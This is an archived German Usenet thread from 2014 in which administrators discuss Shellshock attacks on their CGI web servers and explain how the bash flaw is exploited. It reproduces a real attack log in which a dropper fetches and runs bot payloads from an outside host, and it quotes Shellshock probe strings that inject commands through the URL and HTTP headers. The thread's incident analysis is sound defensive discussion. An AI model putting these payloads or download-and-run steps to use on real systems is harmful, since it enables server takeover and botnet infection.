Der Rest stand dann seltsamerweise im Error.log, obwohl das ja wohl
----------------------------------------------------------------------
da sollte man bei Webserver öfter drauf gucken.
Wenn (wie hier) "wget" Output auftaucht,
ist in der Regel was passiert :-/
Vor allem wenn hinter einigen der Downloads das "cannot execute binary
file" *fehlt*.
Juergen P. Meier
2014-10-10 03:41:13 UTC
Permalink
Willi Marquart <***@neppi.net>:

Ich hab das error-log mal bereinigt, damit man sieht was der Angreifer
auf deinem System genau gemacht hat.

NAch jedem herunterladen hat er wohl das gerade heruntergeladene
ausgefuehrt.
Post by Willi Marquart
Premature end
of script headers: test-cgi
--23:53:03--
http://stablehost.us/bots/regular.bot
=>
`/tmp/sh'
Resolving
stablehost.us... done.
Connecting to
stablehost.us[142.0.41.57]:80... connected.
HTTP request
sent, awaiting response... 200 OK
Length: 701
0K 100%
684.57 KB/s
23:53:03
(684.57 KB/s) - `/tmp/sh' saved [701/701]
% Total %
Received % Xferd Average Speed Time Curr.
Dload Upload
Total Current Left Speed
100 701 100 701 0 0 3034 0 0:00:00 0:00:00
0:00:00 3034
100 701 100 701 0 0 3034 0 0:00:00 0:00:00
0:00:00 0
--23:53:04--
http://stablehost.us/bots/kaiten.c
=>
`/tmp/a.c'
Resolving
stablehost.us... done.
Connecting to
stablehost.us[142.0.41.57]:80... connected.
HTTP request
sent, awaiting response... 200 OK
39,130 [text/x-csrc]
0K
.......... .......... .......... ........ 100% 161.92
KB/s
23:53:04
(161.92 KB/s) - `/tmp/a.c' saved [39130/39130]
% Total %
Received % Xferd Average Speed Time Curr.
Dload Upload
Total Current Left Speed
2 39130 2 1157 0 0 4944 0 0:00:07 0:00:00
0:00:07 4944
17 39130 17 6717 0 0 19246 0 0:00:02 0:00:00
0:00:01 48347
100 39130 100 39130 0 0 82727 0 0:00:00 0:00:00
0:00:00 154k
--23:53:05--
http://stablehost.us/bots/a
=>
`/tmp/a'
Resolving
stablehost.us... done.
Connecting to
stablehost.us[142.0.41.57]:80... connected.
HTTP request
sent, awaiting response... 200 OK
982,256
0K
.......... .......... .......... .......... .......... 5% 197.63
KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 50K
.......... .......... .......... .......... .......... 10% 219.30
KB/s
[Sun Sep 28 00:03:03 2014] [error] [client 60.28.24.241] 950K
......... 100% 1.13
MB/s
23:53:09
(268.17 KB/s) - `/tmp/a' saved [982256/982256]
% Total %
Received % Xferd Average Speed Time Curr.
Dload Upload
Total Current Left Speed
100 959k 100 959k 0 0 251k 0 0:00:03 0:00:03
0:00:00 267k
/tmp/sh: line
12: /tmp/a: cannot execute binary file
--23:53:12--
http://stablehost.us/bots/darwin
17: /tmp/d: cannot execute binary file
(139.14 KB/s) - `/tmp/pl' saved [66395/66395]
Bei einigen der Dropper-doenloads die deine kaputte bash dank
CGI-Script "test" in /tmp/ von den Botnetz-servern heruntergeladen
hat, fehlt das "cannot execute binary file". Vermutlich weil das
Botnetz fuer alle moeglichen Architekturen binaries installiert und
auf Gut glueck alle auszufuehren versucht.

Bei allem ausser "a" und "d" scheint das gelungen zu sein.
Post by Willi Marquart
Das ist SuSE Linux 8.2 (i586) von 2002. Ich will das eigentlich
schnellstmöglich entsorgen und nicht updaten. Nur bis dahin soll sich
Den solltest du gestern schon entsorgt haben.
Post by Willi Marquart
da niemand mehr reinhängen können.
Diese Installation gehoert nicht mehr dir. Sie gehoert jetzt den
Betreibern des Botnetzes von dem der Angriff kam.

Du hast nur noch eine Simulierte Umgebung die von den Angreifern
vollstaendig gesteuert wird - und dir u.U. ein sauberes, nicht
uebernommenes System vorspiegelt.

HTH,
Juergen
--
Juergen P. Meier - "This World is about to be Destroyed!"
end
If you think technology can solve your problems you don't understand
technology and you don't understand your problems. (Bruce Schneier)
Heiko Schlenker
2014-10-08 22:25:51 UTC
Permalink
Post by Willi Marquart
Nachdem mir hier von 3 öffentlich zugänglichen Webservern bei zweien
die Bash-Lücke ausgenutzt wurde, bin ich doch etwas verschreckt.
Für 2 gab es ein Bash-Update, aber der dritte macht mir Probleme.
Den kann ich nicht einfach abschalten, unsere Mitabeiter geben da
ihrer Arbeitszeiten ein,
Nachdem die Sache ausgestanden ist, sollte der Vorfall euch vielleicht
zu denken geben, ob die Systeme wirklich öffentlich zugänglich sein
müssen. ;-)

Gruß, Heiko
Juergen Kah
2014-10-08 20:22:50 UTC
Permalink
Post by Juergen P. Meier
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Das prueft, ob die Shell verwundbar ist,
Was würde folgender Zugriff machen, so er "erlaubt" gewesen wäre? Davon
hab ich inzwischen mehrere, bei mir bekommt solch Schrott schon lange
per .htaccess "403", aber laut Antwort meines Providers ist der schon
zusätzlich tätig gewesen

# "GET /?x=() { :; };
# echo Content-type:
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;
# HTTP/1.0" 403 27 #meine-seite-de# "
# () { :; };
# echo Content-type:
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;" "
# () { :; };
# echo Content-type:
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;"

PS. Ich habe diese Antwort schon 2mal versucht abzuschicken, erschien
aber nicht via Albasani. Es kann sein, dass der vorstehende Eintrag aus
meinem Webseiten-Log als "Gefahr" interpretiert wurde, darum habe ich
die eine (1) Zeile aus dem Log gestückelt =
wenn Zeilenschaltung und der Zeilenanfang mit "# " (Nummernkreuz und
Leerstelle) gelöscht wird, ergibt sich der komplette Log-Eintrag.
Meine Webseite hab ich anonymisiert mit "#" eingeschlossen.

a) was _hätte_ der GET gemacht? Hab ich bislang auch mit vielem Lesen
(inkl. Heise) noch nicht verstanden.

b) Referer und Agent haben beide identische Parameter mit dem Zeugs,
warum so viele "echo"?
Ich hab gelesen, dass auch die Ref-/Agent-Parameter irgendwie im System
ausführbar wären... gab/gibt es dafür einen realen Sinn?

Übrigens, die Herkunft dieser GETs ist auch interessant
205.186.134.213 thewineconsultant.com MEDIATEMPLE usa (mehrfach)
116.193.76.20 sv20.quangtrungdc.name.vn
192.3.138.103 host.colocrossing.com Hudson Valley Host usa

gehören die zu einem Botnetz oder sind das "gezielte" Proben? Wer
schnüffelt gegen wen?

Eine IP aus .vn (!) war auch zusammen mit IPs aus .il, .cn, .mx, .ar,
.co, .tw, .br, .pe an anderen "Versuchen" beteiligt. Auch eine
interessante Kombination.

Jürgen
Juergen Kah
2014-10-08 20:35:54 UTC
Permalink
Juergen Kah schrieb, ich mal mal die "Ingrid"
Post by Juergen Kah
Was würde folgender Zugriff machen
Ich hatte gepostet in der Annahme, es würde in
de.comm.software.webserver erscheinen. Weil ich dort meine Postings
vermisste, hab ichs nochmal versucht.

Nun erst sehe ich, dass ich in dcsm gepostet hab.

Danke für die Antworten und nochmal sorry.

Jürgen
Juergen P. Meier
2014-10-09 05:28:30 UTC
Permalink
Post by Juergen Kah
Post by Juergen P. Meier
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Das prueft, ob die Shell verwundbar ist,
Was würde folgender Zugriff machen, so er "erlaubt" gewesen wäre? Davon
hab ich inzwischen mehrere, bei mir bekommt solch Schrott schon lange
per .htaccess "403", aber laut Antwort meines Providers ist der schon
zusätzlich tätig gewesen
# "GET /?x=() { :; };
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;
# HTTP/1.0" 403 27 #meine-seite-de# "
# () { :; };
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;" "
# () { :; };
# text/plain;echo;echo;echo
# M`expr 1330 + 7`H;"
Bei einem HTTP Server der nach CGI Standard die Request URL (alles
zwischen GET und HTTP/1.0 on den obigen 5 Zeilen) in eine Environment
Variable packt, dann ein CGI Programm startet (z.B. PHP oder PErl oder
ein C-PRogramm o.ae.) das dieses Environment ganz einfach erbt
(dagegen kann man sich mit mod_cgi nicht mal wehren!), und wo das fuer
document-root konfigurierte CGI-Programm irgendwo in den Tiefen seines
Codes (PHP script, Perl script, c-RPogrammcode o.ae.) ohne vorher
*EXPLIZIT* das Environment von solchen Variablen zu bereinigen
z.B. per system() syscall irgendein Programm oder per exec*() syscall
irgend ein lokales bash-script startet, wird anstelle des obigen
Outputs u.A. folgenden Text an den HTTP-Client der diese GET Anfrge
stellte zurueck schicken:

Content-type: text/plain


M1337H

Sofern eine verwundbare Bash auf dem System als /bin/sh (system())
installiert ist oder zumindest das vom CGI-Programm aufgerufene
shell-script von einer bash interpretiert wird.

Der Exploitcode der seit dem ersten Tag in-the-wild zu sehen ist,
installiert statt der vielen Echos einfach einen Dropper ueber den der
Rechner dann weiter kompromittiert wird.

Obiges ist also eine Verifikation ob ein verwundbares System eine ganz
bestimmte Angriffsflaeche hat. (/? verlinkt auf ein CGI Programm das
irgendwo weiter im Code ein Sehllscript oder system() Aufruf enthaelt)
Post by Juergen Kah
die eine (1) Zeile aus dem Log gestückelt =
wenn Zeilenschaltung und der Zeilenanfang mit "# " (Nummernkreuz und
Leerstelle) gelöscht wird, ergibt sich der komplette Log-Eintrag.
Meine Webseite hab ich anonymisiert mit "#" eingeschlossen.
Dein Log-Excerpt zeigt, dass dein Webserver einfach nur Zugriff auf
ein CGI via / nicht erlaubt (403 Forbidden).

Gelaenge es einem Angreifer ein erlaubtes CGI zu finden (GET oder
POST Methode), das irgendwo in den Tiefen des PHP-, Perl- oder anderem
Codes ein system() syscall macht (oder ein shell-script per exec*()
startet), ohne dass dein CGI-Programm vorher explizit und entgegen
CGI-Verhaltens das vom Webserver vorgegebene Environment bereinigt,
dann hast du verloren.
Post by Juergen Kah
a) was _hätte_ der GET gemacht? Hab ich bislang auch mit vielem Lesen
(inkl. Heise) noch nicht verstanden.
Das oben ist ein einfacher "Schau ob der Webserver auf diese Art verwundbar
ist" Test.
Post by Juergen Kah
b) Referer und Agent haben beide identische Parameter mit dem Zeugs,
Ja, weil auch diese Beiden Parameter vom Webserver bei CGI
*standardmaessig* in Environment-Variablen gepackt werden, die von
kaum einen CGI programm (bisher) bereinigt werden.
Post by Juergen Kah
warum so viele "echo"?
Weil HTTP Responses eine Leerzeile zwischen Header und Body verlangen.
Post by Juergen Kah
Ich hab gelesen, dass auch die Ref-/Agent-Parameter irgendwie im System
ausführbar wären... gab/gibt es dafür einen realen Sinn?
JA. Das ist die ESSENZ dieses Problems.

Das die Bash Envirnmentvariablen-*Inhalte* einfach so als Programmcode
ausfuehrt ist nur ein an und fuer sich ungefaehrlicher Fehler - erst
in Verbindung mit der Moeglichkeit fuer einen Unautorisierten Externen
Angreifer diese Environmentvariablen *vorzugeben* wird daraus ein
Remote-Exploit. Und dafuer dient zum Beispiel ein geowehnlicher
Standard-CGI-Faehiger Webserver mit CGI-Programmen die dummerweise
irgendwo lokale Programme starten (per system() oder exec*()-syscalls
wobei letzteres natuerlich nur mit Bash-Scripten zum Expliot fuehrt).

Eine andere Methode diesen Fehler in der Bash auszunuetzen ist
ein nicht default-konfigurierte dhcp-Client (der scripte aufruft mit
Environment-variablen die vom vermeintlichen DHCP-SErver gesetzt
werden koennen).

Oder ein CUPS print-server mit Printjobprocessingscipten (wer
irgendwelchen Fremden zugriff auf seinen CUPS server gibt, hat in
meinen Augen eh ganz andere Probleme... Verloren haben allerdings
Betreiber von zentralen Linux-Printservern fuer Unprivilegierte Nutzer.)
Post by Juergen Kah
Übrigens, die Herkunft dieser GETs ist auch interessant
205.186.134.213 thewineconsultant.com MEDIATEMPLE usa (mehrfach)
116.193.76.20 sv20.quangtrungdc.name.vn
192.3.138.103 host.colocrossing.com Hudson Valley Host usa
gehören die zu einem Botnetz oder sind das "gezielte" Proben? Wer
schnüffelt gegen wen?
Eine IP aus .vn (!) war auch zusammen mit IPs aus .il, .cn, .mx, .ar,
.co, .tw, .br, .pe an anderen "Versuchen" beteiligt. Auch eine
interessante Kombination.
Botnetze halt.
Juergen Kah
2014-10-09 11:12:14 UTC
Permalink
Post by Juergen P. Meier
Ja, weil auch diese Beiden Parameter vom Webserver bei CGI
*standardmaessig* in Environment-Variablen gepackt werden, die von
kaum einen CGI programm (bisher) bereinigt werden.
Danke für die hinreichend (für mich) verständlichen Erklärungen.

Ach du Sch..., ist das ein selten dämlicher Standard.

Letzte Frage: welchen Sinn macht es, den Referrer und den Agent"namen"
als ausführbares "Environment" verwendbar zu machen? Sind doch beides
wirklich nur reine _Text-Variable_.

Immerhin hab ich bei meinen Webseiten seit Jahren schon einiges mit 403
versehen, was ich nicht haben "wollte", vor allem bei REQUEST_METHOD und
THE_REQUEST in meiner .htaccess. Damals hatte ich mir angeschaut, welche
REQUEST_METHOD es gibt und die unerwünschten gekillt.
Damit hab ich vermutlich weitere "Versuche" provoziert. Jetzt erst
verstehe ich langsam, warum ich seit langem einige "komische" Zeichen im
Referrer und im Agent gesehen habe.

Was auf Provider-Seite passiert (ist), weiss ich nicht, ich seh ja nur
die für meine Webseite protokollierten Zugriffe...

Jürgen
Juergen P. Meier
2014-10-10 03:49:24 UTC
Permalink
Post by Juergen Kah
Post by Juergen P. Meier
Ja, weil auch diese Beiden Parameter vom Webserver bei CGI
*standardmaessig* in Environment-Variablen gepackt werden, die von
kaum einen CGI programm (bisher) bereinigt werden.
Danke für die hinreichend (für mich) verständlichen Erklärungen.
Ach du Sch..., ist das ein selten dämlicher Standard.
Gerne geschehen. Ich hab das die Tage einigen CIO und Co. erklaeren
muessen, da viel mir leicht. Leider gab es von Anfang an keine guten
Erklaerungen in den verbreiteten Medien.
Post by Juergen Kah
Letzte Frage: welchen Sinn macht es, den Referrer und den Agent"namen"
als ausführbares "Environment" verwendbar zu machen? Sind doch beides
wirklich nur reine _Text-Variable_.
Die Idee von CGI basiert darauf, dass Environmentvariablen *harmlos*
sind, also eben nicht ausfuehrbar. Die GNU Bash hat das kaputt gemacht.

Ein CGI sollte ueber den Inhalt von Referer, User-Agent und natuerlich
auch der URI informiert werden. Environmentvariablen hielt man da fuer
die beste Idee. Ist es im Prinzip ja auch, wenn nicht diese Bash waere.
(Zum Glueck verwendet niemand CMD.EXE als CGI-Bin auf IIS Webservern ;)
Post by Juergen Kah
verstehe ich langsam, warum ich seit langem einige "komische" Zeichen im
Referrer und im Agent gesehen habe.
Was auf Provider-Seite passiert (ist), weiss ich nicht, ich seh ja nur
die für meine Webseite protokollierten Zugriffe...
Naja, in dem ganzen Shellshock-Trubel ist die ebenso gravierende
XEN hypervisor-Bypass Luecke voellig ohne Aufsehen vorbeigegangen.
dabei wurden damit auch nicht wenige Virtualisierungsumgebungen
aufgebrochen. Dabei hat Amazon sofort seine komplette Cloud
mit allen Diensten und Services die darauf laufen durchgestartet.

Juergen
--
Juergen P. Meier - "This World is about to be Destroyed!"
end
If you think technology can solve your problems you don't understand
technology and you don't understand your problems. (Bruce Schneier)
Lesen Sie weiter auf narkive:
Loading...